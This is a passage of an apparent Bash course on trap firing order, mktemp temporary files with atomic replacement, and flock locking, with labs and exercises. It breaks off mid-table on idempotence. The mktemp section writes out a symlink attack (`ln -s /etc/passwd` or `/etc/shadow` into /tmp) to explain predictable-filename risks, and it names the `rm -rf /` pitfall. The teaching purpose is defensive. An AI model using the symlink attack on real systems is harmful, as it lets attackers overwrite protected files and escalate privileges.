ERRA pipeline / list / compound command returns non-zero (with exceptions identical to: set -e “The ERR trap is not executed if the failed command is part of the command list immediately following a while or until reserved word, part of the test in an if statement, …”)No, requires set -E (errtrace)
DEBUGevery simple command,for,case,select, arithmetic for before, and before the first command in a functionNo, requires set -T (functrace)
RETURNevery function or ./source run script finishesNo, requires set -T

The manual on -E text: “If set, any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment.” On -T: “If set, any traps on DEBUG and RETURN are inherited by shell functions, command substitutions, and commands executed in a subshell environment.”

Why: why the EXIT trap is the “single cleanup point”

A script may exit from a dozen places: set -e,util::die, normal completion, Ctrl-C,kill. If you hand-write cleanup at every exit, you will eventually miss one. The right structure is: all exits eventually go through EXIT— the signal trap does one thing only: exit 128+N, then the EXIT trap deletes temporary files, releases locks, restores terminal state and prints a summary.

How: firing order (measured)

EventFiring orderFinal exit code
Top-level command fails (set -e)ERR → exit → EXIT ($? = 1)status of the failing command
Failure inside a function,no -E(ERR does not fire) → exit → EXITSame as above, but no error report at all
Failure inside a function, with -E, no -eERR inside the function → function returns 1 → at the call site ERR again ERR → keeps running—
Receives TERM; in the TERM trap exit 143TERM trap → EXIT ($? = 143)143
Receives INT; in the INT trap no exitINT trap → keeps running subsequent commands → EXIT on normal completion0 (the signal is “swallowed”)
SIGKILL (kill -9)nothing fires (KILL and STOP cannot be caught)137

Three key details

  1. Signal deferral: the manual (Signals section) explains that if Bash receives a signal with a trap set while waiting for a foreground command to finish, the trap runs only after that command finishes; but while wait a builtin wait receives a signal,wait it returns immediately with a status greater than 128, and the trap runs right away. So for long-running sleep scripts, write it as sleep 30 & wait $! to respond promptly kill. (Ctrl-C in a terminal is unaffected: SIGINT goes to the whole foreground process group,sleep so the wait itself is also interrupted.)
  2. Background ignores SIGINT: without job control (non-interactive scripts), commands started with & ignore SIGINT and SIGQUIT; and “Signals ignored upon entry to the shell cannot be trapped or reset” (manual text, non-interactive shell). Therefore testing a background script's INT trap with kill -INT gets no response at all — test with TERM, or timeout -s INT.
  3. Exit code preserved: after the EXIT trap finishes, the script's exit code is still the one from before entering the trap $? (or exit N 's N); unless the trap calls exit M. In the first line of the EXIT trap, save local rc=$?, and at the end exit "$rc", which is both safe and clear.

When: uses for each trap

  • EXIT: delete temporary files, release locks, kill background processes you started, restore stty, send completion notifications.
  • ERR: print the failing command, exit code, call stack (FUNCNAME/BASH_SOURCE/BASH_LINENO), do not do cleanup here (cleanup belongs only in EXIT, to avoid running it twice).
  • INT/TERM/HUP: log → exit 128+N. systemd sends SIGTERM by default when stopping a service, then waits TimeoutStopSec (90 seconds by default) before sending SIGKILL.
  • DEBUG/RETURN: debugging and tracing (more customizable than set -x ), rarely used in production scripts.

Comparison with similar mechanisms

Bash trap EXITPythonGosystemd
Cleanuptrap cleanup EXITtry/finally,atexitdeferExecStopPost=
multiple cleanup actionsfor the same signal only keeps the last trap set; you must maintain a cleanup list yourselfrun in reverse registration orderLIFOin order
SIGKILLcannot handlecannot handlecannot handleExecStopPost still runs
Common misconceptions① “Writing trap … EXIT again appends” — no, it is replacement; library functions should not set the EXIT trap directly, but register with the cleanup list (opsctl's util::cleanup_add). ② “It does not matter whether the trap uses single or double quotes” — double quotes expand variables at setting time; trap "rm -f $tmp" EXIT if set while tmp is not yet assigned, it becomes rm -f; prefer single quotes or call a function. ③ “The ERR trap can replace set -e” — no, ERR only reports and does not make the script exit. ④ “kill will immediately run the TERM trap” — if the script is waiting for a foreground command, it must wait until that finishes.

Timing diagram: two paths for failure and signals

Path A: command fails (set -Ee) grep -q … returns 1inside step_verify ERR trap (inherited via -E)print BASH_COMMAND + stack errexit: shell exitsno further commands run EXIT traprc=$? → cleanup → exit rc process exitsstatus 1 Path B: kill -TERM (script is running a foreground sleep 30) TERM reaches bashsleep does not receive the signal trap is deferreduntil sleep ends TERM traplog → exit 143 EXIT trap$? = 143 process exitsstatus 143 Rewrite as sleep 30 & wait $!: wait is interrupted by the signal and returns immediately (>128), and the TERM trap runs at onceNote: the EXIT trap must kill the background sleep that is still running; otherwise it becomes an orphan process
Figure 2-1: ERR only reports; all paths eventually converge on EXIT; a foreground command defers signal traps

Inheritance: which traps enter where

Current shellEXIT · ERR · DEBUG · RETURNINT · TERM · HUP … functions / command substitutions / ( )ERR: only if set -E functions / command substitutions / ( )DEBUG/RETURN: only if set -T ( … ) and $( … ) subshellscaught signals reset to their original disposition; the EXIT trap does not run in subshells external commands (fork + exec)all traps revert to default; signals “ignored” (trap '') stay ignored
Figure 2-2: scope of trap inheritance

Interactive timeline: event → trap firing order

Choose the script's settings and the event to occur, then click “▶ Play”. Each step indicates which trap,$? its value, and what determines the final exit code.

Choose an event.

trap usage at a glance

FormEffectNotes
trap 'cleanup' EXITRegister EXIT handlerrecommend single quotes + function name
trap 'on_err' ERR + set -EError reportingnone -E when a failure occurs inside a function, it does not fire
trap 'on_sig INT 130' INTturns a signal into an exit130 = 128 + 2
trap -p / trap -p EXITprint current trapsoutput in a re-executable form
trap - EXITrestore defaultuse at the start of an EXIT handler to prevent re-entry
trap '' INTignore a signalchild processes also inherit the “ignored” state
trap -l / kill -llist signal names and numbers
caller [n]print the caller's line number, function and filecan be printed level by level in the ERR handler

Debug variable

VariableMeaning
$BASH_COMMANDtext of the command being executed (or that just failed)
$LINENOcurrent line number (inside the trap string, the line where the trap fired)
${FUNCNAME[@]}call-stack function names,[0] where the first element is the current function and the last element is main
${BASH_SOURCE[@]}source files corresponding to FUNCNAME
${BASH_LINENO[@]}BASH_LINENO[i] is FUNCNAME[i] the call site (located in BASH_SOURCE[i+1] )
bash -c 'trap "echo bye" EXIT; trap -p EXIT'
bash -c 'trap "echo parent-exit" EXIT; ( echo in-sub ); x=$(echo cs); echo $x'
bash -c 'set -T; trap "echo RETURN from \${FUNCNAME[0]}" RETURN; f(){ :; }; f; echo end'
trap -- 'echo bye' EXIT
bye
in-sub
cs
parent-exit
RETURN from f
end

Exit code preservation rule

bash -c 'trap "echo cleanup" EXIT; exit 7'; echo "rc=$?"
bash -c 'trap "false" EXIT; true';         echo "rc=$?"
bash -c 'trap "exit 9" EXIT; exit 3';      echo "rc=$?"
cleanup
rc=7
rc=0
rc=9

A failing last command in the EXIT trap does not change the exit code; only an explicit exit in the trap does so.

Lab 2: ERR reporter with call stack + signal deferral (about 7 min)

Create trap-demo.sh:
#!/usr/bin/env bash
# trap-demo.sh —— ERR call stack + EXIT cleanup + signal handling
set -Eeuo pipefail

on_err() {
  local rc=$? i
  echo "[ERR] exit code $rc, command: $BASH_COMMAND" >&2
  for (( i = 1; i < ${#FUNCNAME[@]}; i++ )); do
    echo "[ERR]   at ${FUNCNAME[i]} (${BASH_SOURCE[i]##*/}:${BASH_LINENO[i-1]})" >&2
  done
}
on_exit() {
  local rc=$?
  echo "[EXIT] cleaning up (exit code $rc)" >&2
}
on_signal() {
  echo "[SIG] received $1" >&2
  exit "$2"
}
trap on_err ERR
trap on_exit EXIT
trap 'on_signal INT 130' INT
trap 'on_signal TERM 143' TERM

step_download() { echo "downloading…"; }
step_verify()   { echo "verifying…"; grep -q "^sha256:" /dev/null; }
main() {
  step_download
  step_verify
  echo "done"
}
main "$@"
cd ~/bashlab/ch04 && bash trap-demo.sh; echo "rc=$?"
downloading…
verifying…
[ERR] exit code 1, command: grep -q "^sha256:" /dev/null
[ERR]   at step_verify (trap-demo.sh:26)
[ERR]   at main (trap-demo.sh:29)
[ERR]   at main (trap-demo.sh:32)
[EXIT] cleaning up (exit code 1)
rc=1

The stack shows two main: the first is the function we defined main function (called from line 29 via step_verify); the second is the name Bash reserves for the script's top level (line 32 calls main). opsctl v0.2 displays the bottom of the stack as <script>, and displays the v0.1 entry function as opsctl::main, so there is no more confusion.

Remove -E and run again, and observe the ERR report disappear:
sed 's/^set -Eeuo/set -euo/' trap-demo.sh > trap-demo-noE.sh
bash trap-demo-noE.sh; echo "rc=$?"
downloading…
verifying…
[EXIT] cleaning up (exit code 1)
rc=1
Verify signal deferral:
trap 'echo "[TERM trap] at ${SECONDS}s" >&2; exit 143' TERM
trap 'echo "[EXIT trap] rc=$?" >&2' EXIT
echo "pid $$, mode=$1" >&2
if [[ $1 == fg ]]; then sleep 5; else sleep 5 & wait $!; fi
echo "not reached"
bash sig.sh fg & p=$!; sleep 1; kill -TERM $p; wait $p; echo "rc=$?"
bash sig.sh bg & p=$!; sleep 1; kill -TERM $p; wait $p; echo "rc=$?"
pid 798, mode=fg
[TERM trap] at 5s
[EXIT trap] rc=143
rc=143
pid 801, mode=bg
[TERM trap] at 1s
[EXIT trap] rc=143
rc=143

In fg mode the signal arrives at second 1, but the trap runs only at second 5 (after sleep ends); in bg mode it runs immediately. After bg mode exits, the background sleep keeps running, so production scripts should, in the EXIT trap, kill "${child_pid:-}" 2>/dev/null || true.

Verify “SIGINT ignored in background”:
bash -c 'trap "echo got INT" INT; echo started; sleep 3; echo finished-normally' & p=$!
sleep 1; kill -INT $p; wait $p; echo "rc=$?"
timeout -s INT 1 bash -c 'trap "echo got INT; exit 130" INT; sleep 5'; echo "rc=$?"
started
finished-normally
rc=0
got INT
rc=124

The first background script never receives INT (it was already ignored at startup, so it cannot be trapped). The second, started via timeout in the foreground, catches INT normally; timeout itself returns 124 because of the timeout.

Cleanup: rm -f ~/bashlab/ch04/trap-demo-noE.sh

Case 1: deployment script interrupted by Ctrl-C, leaving the maintenance page up

Problem: The script switches the site to maintenance mode at the start and switches it back at the end; the operator pressed Ctrl-C midway, and the site stayed on the maintenance page for 40 minutes. Fix: Right after maintenance mode is turned on, register a “restore” action in the EXIT cleanup chain, and turn the INT/TERM traps into exit 130/143; in EXIT, decide based on $? whether to restore or raise an alert. Limitation: SIGKILL (such as the OOM killer,kill -9) cannot be handled, so critical state needs external monitoring as a fallback.

Case 2: systemd stop times out and the service is SIGKILLed

Problem: In the main loop of a Bash polling service, sleep 60,systemctl stop after SIGTERM is sent the trap is deferred until sleep ends; sometimes it is still processing the next round, exceeding TimeoutStopSec the timeout and getting SIGKILLed, leaving temporary files behind. Fix:sleep 60 & wait $!; in EXIT, clean up the background PID. Note: systemd by default KillMode=control-group sends SIGTERM to all processes in the cgroup, so sleep also receives it, but scripts should not rely on this default.

Case 3: a library function overwrote the caller's EXIT trap

Problem: A shared library function internally wrote trap 'rm -f "$tmp"' EXIT, overwriting the main script's EXIT trap that released the lock, so the lock file stayed forever (a PID-file lock was used). Fix: Only let the entry script set traps; library functions register via util::cleanup_add ; switch to flock (the lock is released automatically when the fd closes; see Module 4).

Common errors and fixes

ERR trap is set, but nothing is printed when the script fails

Cause: the failure happens in a function, command substitution or subshell, and set -E; or the failure is in an ignored context such as if/while/&&/||.

set -o | grep -E 'errtrace|errexit'

Fix: use set -Eeuo pipefail; explicitly check return values for functions in conditional contexts.

ERR trap prints the same error twice

Cause: With -E , a failure inside a command substitution first fires ERR in the subshell, then the failed assignment fires it again in the parent shell; without -e , an ERR inside a function is followed by the function returning non-zero, which fires it again at the call site.

Fix: add at the start of the handler function (( BASH_SUBSHELL == 0 )) || return (the opsctl approach), or report only at the top level.

trap: SIGXYZ: invalid signal specification

Cause: Misspelled signal name, or using sh (dash) with Bash-specific ERR/DEBUG/RETURN.

trap -l | head; ps -p $$ -o comm=

Fix: Confirm you are running with bash (the shebang is #!/usr/bin/env bash, not sh script.sh).

After killing the script, it takes a long time to exit / gets SIGKILLed

Cause: Bash is waiting for a foreground command, so the trap is deferred.

Fix: Change the long wait to cmd & wait $!, and clean up child processes in EXIT; external commands themselves must also respond to SIGTERM.

rm: missing operand (in the EXIT trap)

Cause:trap "rm -f $tmp" EXIT Double quotes were used, and when the trap was set, $tmp was still empty.

Fix:trap 'rm -f -- "$tmp"' EXIT (single quotes, expanded when it fires), or first mktemp and then set the trap.

Command-line exercises
1. Write one line of ERR trap that prints the failing command, line number and exit code to stderr.
trap 'echo "ERR rc=$? line=$LINENO cmd=$BASH_COMMAND" >&2' ERR
2. Make a script that polls every 60 seconds run its TERM trap within 1 second of being killed.
trap 'exit 143' TERM
while true; do poll_once; sleep 60 & wait $!; done
Scenario analysis
The script runs under cron. While testing, you started it with bash job.sh & , then kill -INT, and found the INT trap did not fire. Did you write the trap wrong?

Not necessarily. Background commands started by a non-interactive shell ignore SIGINT, and a signal ignored on entry cannot be trapped, so the trap has no effect. cron and systemd stop jobs by sending SIGTERM (systemd's default), so you should also trap TERM, and use kill -TERM to test, or use timeout -s INT to test INT in the foreground.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 6 - Exit Codes) — Learn Linux TV
English · exit codes and $?, the basics for understanding exit codes 128+N for signals

No English video verified via oEmbed that specifically explains Bash trap firing order; please rely on this lesson's animation and the documents below.

Official documentation

Video storyboard (about 90 seconds)

Shot 1 · 0–20s
Visual: the script's multiple exits (set -e, die, Ctrl-C, kill) converge with arrows into a funnel labeled EXIT.
Narration: a script can end in many ways, but all of them eventually pass through EXIT. Put the cleanup only here.
Shot 2 · 20–45s
Visual: command fails → yellow ERR box prints stack → red exit → green EXIT cleanup.
Narration: on failure, ERR runs first, then the exit, and finally EXIT. ERR handles reporting, EXIT handles wrap-up.
Shot 3 · 45–70s
Visual: false fails inside a function box; the ERR box is a grey dashed line; after adding set -E it becomes solid.
Narration: the ERR trap does not enter functions by default. Add an uppercase E to report errors inside functions.
Shot 4 · 70–90s
Visual: on the timeline, TERM arrives at second 1 but the trap runs only after sleep ends at second 5; with sleep & wait it runs immediately.
Narration: Bash defers traps while waiting for a foreground command. To respond promptly, run the command in the background and wait.
or score ≥ 70% on the quiz

Module 3 · Temporary files and directories: mktemp and safe cleanup

13:00 – 21:00 · unpredictable names, permissions where only you can read and write, cleanup that always runs, and atomic replacement where you get “either the old file or the new file”
8 minGNU coreutils mktemprename(2) atomicity★★★★☆
Learning objectives
  • Describe /tmp/myscript.$$ the two attacks on such predictable filenames: symlink attacks and pre-creation races (TOCTOU).
  • Be proficient with mktemp,mktemp -d,-p DIR,--suffix, and understand the permissions they create (file u+rw, directory u+rwx, minus umask).
  • Pair “creation” with “registering cleanup” so that any exit path cleans up; use ${var:?} to prevent rm -rf "$var/" from turning into rm -rf /.
  • Use “a temp file in the same directory + mv” for atomic replacement, and understand why it is not atomic across filesystems.
Prerequisites: the EXIT trap from Module 2. Importance:★★★★☆

What: what mktemp does

GNU coreutils manual: “Create a temporary file or directory, safely, and print its name. … If TEMPLATE is not specified, use tmp.XXXXXXXXXX, and --tmpdir is implied. Files are created u+rw, and directories u+rwx, minus umask restrictions.” The key word is “safely”: mktemp replaces the X's in the template with random characters and creates the file with O_CREAT|O_EXCL an exclusive mode. If a file with that name (including a symbolic link) already exists, creation fails and it retries with another name,and it will not follow a symbolic link placed by an attacker.

FormResultNotes
mktemp$TMPDIR/tmp.XXXXXXXXXX (/tmp when TMPDIR is unset)file, mode 600
mktemp -ddirectory, mode 700Recommended: put all temporary files in one directory so cleanup happens only once rm -rf
mktemp -p DIR name.XXXXXXcreate in a specified directoryfor atomic replacement “in the same directory as the target”
mktemp "${TMPDIR:-/tmp}/opsctl.XXXXXXXX"with a prefix, for easy identificationa form also compatible with macOS/BSD
mktemp --suffix=.csvkeep the extensionGNU extension; not supported by BSD
mktemp -t name.XXXXXXrelative to TMPDIRmarked deprecated by GNU, and BSD semantics differ; avoid using
mktemp -uprints the name only, does not createthe manual explicitly marks it “unsafe”; do not use

Why: why predictable filenames are dangerous

  • Symlink attack: the script runs as root echo data > /tmp/backup.log. The attacker in advance ln -s /etc/passwd /tmp/backup.log, and the redirection follows the link and overwrites /etc/passwd. (Modern Linux's fs.protected_symlinks=1 in world-writable sticky directories restricts such following, but this cannot be relied on for script correctness.)
  • Pre-creation / race: [[ -e $f ]] || touch "$f" In between the check and the creation there is a time window (TOCTOU), in which another process can create a file with the same name first.
  • Information leak: umask 022 a file created by hand is readable by everyone; when it contains keys or customer data it is a leak. mktemp's 600/700 permissions avoid this.
  • Concurrency conflict: two instances of the same script write the same /tmp/report.tmp, and their results overwrite each other; $$ is unique only within the same PID namespace, and predictable.

How: create + register cleanup + atomic replacement

workdir=$(mktemp -d "${TMPDIR:-/tmp}/report.XXXXXXXX")
trap 'rm -rf -- "${workdir:?}"' EXIT          # ${workdir:?}: errors out when empty instead of running rm -rf ""
tmp_out=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")
generate >"$tmp_out"                            # on failure set -e exits, and $out keeps its old content
chmod 0644 -- "$tmp_out"                        # mktemp defaults to 600; loosen as needed
mv -f -- "$tmp_out" "$out"                      # rename(2): readers see either the old file or the new file

Why it must be “same directory”:mv calling within the same filesystem rename(2), atomically replaces the directory entry; across filesystems (for example, /tmp is tmpfs and the target is in /var),mv it degrades to “copy + delete”, and readers may see a half-written file. rename is a metadata operation; if you also need durability across power loss, you must, before mv, sync the file (GNU coreutils 8.24+'s sync FILE) — this is a database-level requirement that ordinary ops scripts usually do not need.

When: choosing which temporary location

UseLocationReason
intermediate data, extraction, sortingmktemp -d ($TMPDIR or /tmp)private directory, cleaned up together
replacing the final outputsame directory as the target: mktemp -p "$(dirname "$out")"guarantees an atomic rename
large files (GB scale)/var/tmp or a data disk/tmp may be a RAM disk (tmpfs) and is cleared on reboot
systemd servicePrivateTmp=yes + RuntimeDirectory=a private /tmp for each service, automatically cleared when it stops
Common misconceptions① “/tmp/$$ is unique enough” — it is predictable, and in containers the PID often starts at 1. ② “rm -rf "$dir/"* is very safe” —dir when empty it becomes rm -rf /*; use "${dir:?}" and only delete the path your own mktemp produced. ③ “mv is always atomic” — only within the same filesystem. ④ “Files created by mktemp are readable by others” — the default is 600; if others need to read it, you must explicitly chmod. ⑤ “Putting cleanup at the end of the script is enough” — any set -e exit,die, or Ctrl-C will skip it.

Atomic replacement: readers never see a half-finished file

❌ Writing the target directly: generate > report.csv report.csv (old, complete)t0 > truncates to 0 bytest1: reader reads an empty file fails halfway through writingt2: old data lost + half-finished file ✅ Temp file in the same directory + mv report.csv (old, complete)stays readable .report.csv.Xa9Qz1mktemp 600 · writing rename(2)directory entry atomically switches to the new inode report.csv (new)old inode is released Midway failure / Ctrl-C: the EXIT trap deletes .report.csv.Xa9Qz1report.csv keeps its old content; readers who already opened the old file keep reading the old inode
Figure 3-1: atomic replacement depends on “rename within the same filesystem”

Symlink attack illustration

Attacker: ln -s /etc/shadow/tmp/backup.log (placed in advance) root script: echo … > /tmp/backup.logopen() follows the link /etc/shadow is overwrittensystem cannot log in mktemp: random name + O_CREAT|O_EXCL — if the name already exists (including a symlink), pick another; never follow itThe kernel's fs.protected_symlinks is an additional layer of defense
Figure 3-2: why you cannot build temporary filenames yourself

Simulator: write method × cleanup strategy × exit method

Select three dimensions and click “▶ Run”. The left side shows the state of the target file report.csv , and the right side shows /tmp leftover temporary files. Goal: under every exit method, you end up with “old file intact + no leftovers” or “new file complete + no leftovers”.

Write method:
Cleanup strategy:
Exit method:
report.csv
old content (complete, 3 lines)
/tmp leftovers
Click Run after selecting.

mktemp and related commands

CommandPurposeKey options / notes
mktemp [-d] [TEMPLATE]create a temporary file / directory and print its paththe last part of the template needs at least 3 consecutive X's
mktemp -p DIR / --tmpdir[=DIR]specify directorywithout DIR, $TMPDIR or /tmp is used
mktemp --suffix=SUFFadd suffixGNU extension
mktemp -qno diagnostics printed on failurestill returns non-zero
umask 077make subsequently created files belong only to youset in a subshell so other steps are not affected
mv -f -- SRC DSTatomic replacement (same filesystem)-- prevents filenames starting with -
stat -c '%a %U %n' FILE / df -P DIRview permissions / filesystemdetermine whether an atomic rename is possible
export TMPDIR=~/bashlab/ch04/tmp; mkdir -p "$TMPDIR"
d=$(mktemp -d); f=$(mktemp); echo "$d"; echo "$f"
stat -c '%a %n' "$d" "$f"
mktemp --version | head -1
rm -rf -- "$d" "$f"
/home/you/bashlab/ch04/tmp/tmp.Wri69twf20
/home/you/bashlab/ch04/tmp/tmp.L0WXjwQ2kc
700 /home/you/bashlab/ch04/tmp/tmp.Wri69twf20
600 /home/you/bashlab/ch04/tmp/tmp.L0WXjwQ2kc
mktemp (GNU coreutils) 9.x

How to verify: The 700/600 permissions come from the GNU manual (u+rwx / u+rw minus umask). In Git Bash on Windows, ls -l the displayed permissions are meaningless. If Ubuntu 26.04 uses uutils coreutils,mktemp --version it shows the uutils version; basic options are compatible, but some error messages differ.

Portable form (GNU / BSD / BusyBox)

tmpdir=$(mktemp -d "${TMPDIR:-/tmp}/myjob.XXXXXXXX") || exit 1   # all three support “templates with a path”

Lab 3: atomic report + no trace on interruption (about 7 min)

Create script:
#!/usr/bin/env bash
# atomic-report.sh OUT —— generate a per-environment report, atomically replace OUT; do not leave half-finished output on interruption
set -Eeuo pipefail
out=${1:?usage: atomic-report.sh OUTPUT_FILE}
src="$HOME/bashlab/data/servers.csv"

workdir=$(mktemp -d "${TMPDIR:-/tmp}/report.XXXXXXXX")       # private working directory (700)
tmp_out=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")  # same directory as the target (600)

cleanup() {
  local rc=$?
  rm -rf -- "$workdir"
  rm -f -- "$tmp_out"              # after a successful mv it no longer exists, so rm -f will not error
  exit "$rc"
}
trap cleanup EXIT
trap 'exit 130' INT
trap 'exit 143' TERM

tail -n +2 -- "$src" | cut -d, -f2 | sort >"$workdir/envs"
{
  printf 'env,count\n'
  uniq -c <"$workdir/envs" | while read -r n env; do
    printf '%s,%s\n' "$env" "$n"
    sleep "${SLOW:-0}"               # for demo: slow down so you can interrupt midway
  done
} >"$tmp_out"

chmod 0644 -- "$tmp_out"
mv -f -- "$tmp_out" "$out"          # rename(2) within the same filesystem is atomic
echo "generated $out" >&2
Normal run:
cd ~/bashlab/ch04 && export TMPDIR=~/bashlab/ch04/tmp && mkdir -p "$TMPDIR"
bash atomic-report.sh report.csv && cat report.csv
generated report.csv
env,count
dev,1
prod,3
staging,1

Your servers.csv depends on the data generated in Lesson 1, so the counts will differ.

Interrupt midway: the old file must stay unchanged and the temporary file must disappear:
echo "old-content" > report2.csv
SLOW=2 bash atomic-report.sh report2.csv & p=$!
sleep 1; ls -A | grep report        # you can see .report2.csv.XXXXXX at this point
kill -TERM $p; wait $p; echo "rc=$?"
ls -A | grep report; cat report2.csv; ls -A "$TMPDIR"
.report2.csv.fHLefh
atomic-report.sh
report.csv
report2.csv
rc=143
atomic-report.sh
report.csv
report2.csv
old-content

The last ls -A "$TMPDIR" has no output — the working directory has been cleaned up.

Comparison: remove the trap and interrupt again, and observe .report2.csv.* and $TMPDIR/report.* leftovers:
sed '/^trap /d' atomic-report.sh > no-trap.sh
SLOW=2 bash no-trap.sh report2.csv & p=$!; sleep 1; kill -9 $p; wait $p
ls -A | grep report; ls -A "$TMPDIR"

Using kill -9 to simulate an uncatchable termination: no trap can save it; this is why systemd PrivateTmp= / periodic cleanup (systemd-tmpfiles) exists.

Cleanup:
rm -f -- ~/bashlab/ch04/no-trap.sh ~/bashlab/ch04/.report2.csv.* ~/bashlab/ch04/report2.csv
rm -rf -- ~/bashlab/ch04/tmp/report.*

Case 1: /tmp filled with temporary files

Problem: A collection script that runs every 5 minutes does not clean up on abnormal exit /tmp/collect.$$.*, and after three months /tmp (tmpfs) filled up memory. Fix: Change to mktemp -d + EXIT trap; for services run by a systemd timer, add PrivateTmp=yes; configure systemd-tmpfiles cleanup rules as a fallback. Limitation: SIGKILL or power loss can still leave leftovers, so the fallback cleanup cannot be skipped.

Case 2: Nginx read half a config file

Problem: A config generation script render > /etc/nginx/conf.d/upstream.conf && nginx -s reload, and a scheduled reload happened to read it mid-write, loading half a config and causing a 502. Fix: mktemp in the same directory → nginx -t -c validate → mv atomic replace → reload. Note: Do not end the temporary filename with .conf , otherwise it may be include conf.d/*.conf loaded early.

Case 3: $$ is always 1 in the container

Problem: The script runs as the container ENTRYPOINT,$$ is 1, and when multiple containers share a mounted volume, /shared/lock.$$ they conflict. Fix: Use mktemp to generate names; use flock when mutual exclusion across containers is needed (Module 4).

Common errors and fixes

mktemp: failed to create file via template '/x/.out.XXXXXX': No such file or directory

Cause: The target directory does not exist (common with --out pointing to a path not yet created).

Fix: first validate [[ -d $(dirname -- "$out") ]], or explicitly mkdir -p (confirm this is the expected behavior).

mktemp: too few X's in template 'report.XX'

Cause: The last part of the template needs at least 3 consecutive X's (6 or more recommended). Fix:report.XXXXXXXX.

mv: inter-device move failed / replacement is not atomic

Cause: The temporary file and the target are on different filesystems.

df -P "$tmp" "$out" | awk 'NR>1{print $6}'

Fix: mktemp inside the target directory (-p "$(dirname -- "$out")").

After the script runs as root, other services cannot read the generated file (Permission denied)

Cause: mktemp creates files with mode 600, and after mv the mode and root ownership are kept.

Fix: before mv, chmod 0644 and, where necessary, chown.

rm: refusing to remove '.' or '..' / current directory contents deleted by mistake

Cause: The variable was empty during cleanup,rm -rf "$dir/"* and the expansion became the contents of the current or root directory.

Fix: Only clean up the full path returned by mktemp: rm -rf -- "${dir:?}"; do not append /*.

Command-line exercises
1. Create a private temporary directory, and make sure it is deleted however the script exits.
tmpd=$(mktemp -d "${TMPDIR:-/tmp}/job.XXXXXXXX")
trap 'rm -rf -- "${tmpd:?}"' EXIT
2. Atomically write the jq processed result back to config.json.
tmp=$(mktemp "$(dirname -- config.json)/.config.json.XXXXXX")
jq '.replicas = 3' config.json >"$tmp" && mv -f -- "$tmp" config.json || { rm -f -- "$tmp"; exit 1; }
Scenario analysis
A root cron job writes /tmp/sync.log. The security audit says it carries privilege-escalation risk, while developers say “only ops can log into our servers.” How do you assess it?

Predictable filename + root writes = any local user who can create files in /tmp (including a compromised low-privilege service account) can plant a symlink so root overwrites arbitrary files. The kernel protected_symlinks can mitigate this but it should not be relied on. Fix: write logs to a root-only directory (such as /var/log/sync/), use mktemp for temporary files; for the systemd service, use PrivateTmp=yes.

teaching videos

No YouTube video verified via oEmbed that specifically explains mktemp temporary files and atomic replacement. The following documents are authoritative:

Video storyboard (about 75 seconds)

Shot 1 · 0–20s
Visual: a symlink pointing to /etc/shadow appears in /tmp, and the root script's arrow goes through it.
Narration: build your own temporary filename and an attacker can set the trap in advance.
Shot 2 · 20–40s
Visual: mktemp generates a random name; a lock icon shows 600 and 700 permissions.
Narration: mktemp creates exclusively with a random name; only you can read and write the file.
Shot 3 · 40–60s
Visual: a hidden temporary file appears next to report.csv; after it is fully written, a flash completes the rename.
Narration: write it in the same directory, then rename it in one step. Readers see either the old file or the new file.
Shot 4 · 60–75s
Visual: after Ctrl-C, the EXIT trap sweeps away the temporary files.
Narration: register cleanup right after creating; no trace is left however the script exits.
or score ≥ 70% on the quiz

Module 4 · Concurrency and locking: flock and idempotence

21:00 – 28:00 · locks solve “running twice at the same time”, idempotence solves “running once too many times” — both are needed
7 minutil-linux flock(1)lock released with fd★★★★☆
Learning objectives
  • Master the three ways to use flock (wrapping a command, subshell + fd,exec {fd}>), and the meanings of -n,-w,-E,-s,-o .
  • Understand that a lock belongs to the “open file description”: it is released automatically when the process exits (including via SIGKILL); but an fd inherited by a child process lets the lock “outlive the script”.
  • Know why you must not delete the lock file, and the “stale lock” problems of PID files and mkdir locks.
  • makes operations idempotent: check the target state first, then converge; repeated runs produce the same result.
Prerequisites: file descriptors and redirection (Lessons 1–2), Modules 2/3. Importance:★★★★☆

What: what flock is

flock(1) from util-linux, it is a command-line wrapper for the system call flock(2) , providing advisory locks (advisory lock): only processes that also use flock exclude each other; ordinary cat,echo > are not affected. The three forms in the man page:

flock [options] file|directory command [arguments]
flock [options] file|directory -c command
flock [options] number
OptionManual textPurpose
-n“Fail rather than wait if the lock cannot be immediately acquired.”cron jobs: skip if an instance already exists
-w SECS“Fail if the lock cannot be acquired within seconds.”wait for a while (decimals allowed)
-E CODE“The exit status used when the -n option is in use, and the conflicting lock exists … The default value is 1.”distinguish “lock conflict” from “command failure”
-s / -xshared (read) lock / exclusive (write) lock (default -x)multiple readers, one writer
-o“Close the file descriptor on which the lock is held before executing command.”prevent a daemon started by the command from inheriting the lock
-u“Drop a lock. … usually not required, since a lock is automatically dropped when the file is closed.”release early

Why: why locks are needed

  • cron starts a backup every 5 minutes; one backup took 7 minutes — two instances write the same archive and rotate old files at the same time.
  • Two operators run at the same time opsctl deploy, one switching a symlink while the other is deleting an old version.
  • Two CI pipelines share a cache directory on one build machine.

A homemade “check-then-create” lock ([[ -e lock ]] || touch lock) has a race window; flock(2) the kernel guarantees atomicity, and the kernel releases it automatically when the process dies, so no stale lock is left behind.

How: the lock follows the “open file description”

  • exec {fd}>>"$lockfile" Let Bash (4.1+) automatically allocate an fd ≥ 10 and store it in the variable fd ; flock -n "$fd" lock it. Use >> rather than >, to avoid truncating information that may be recorded in the lock file.
  • When the script ends (normal exit,exit, SIGKILL, all the same) → the kernel closes all fds → lock released. So flock does not need to be unlocked in a trap.
  • Pitfall: a forked child process inherits the fd. If the script nohup worker & starts a long-running process, that process holds the lock indefinitely; use worker {fd}>&- & to close the fd in the child process, or in command form use flock -o.
  • Do not delete the lock file: while A holds the lock, B is waiting on the same inode; before A finishes, rm lockfile, C starts and creates a new file and immediately gets the lock — now B (old inode) and C (new inode) both enter the critical section. The lock file should stay permanently.
  • Lock file location: system-level tasks use /run/lock/ (tmpfs, root write needed); user-level tasks use $XDG_RUNTIME_DIR or the application's own directory (opsctl uses $OPSCTL_HOME/var/lock). Do not put it at a fixed name in the world-writable /tmp (the symlink problem from Module 3).

Idempotence: the other half beyond locking

A lock ensures only one instance at a time, but the same operation may, due to retries, cron catch-up runs or manual reruns,run multiple times in succession. Idempotent means running once and running many times lead to the same final state. The pattern is “describe the target state, then converge”:

Non-idempotentIdempotent form
mkdir /srv/app (second run errors)mkdir -p -- /srv/app
